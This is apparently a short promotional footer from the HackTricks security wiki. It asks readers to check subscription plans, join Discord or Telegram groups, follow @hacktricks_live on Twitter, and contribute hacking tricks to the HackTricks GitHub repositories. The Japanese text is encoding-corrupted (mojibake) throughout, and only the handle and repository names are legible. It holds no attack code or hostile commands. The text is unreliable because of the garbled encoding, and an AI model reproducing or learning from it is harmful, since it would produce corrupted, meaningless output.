- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


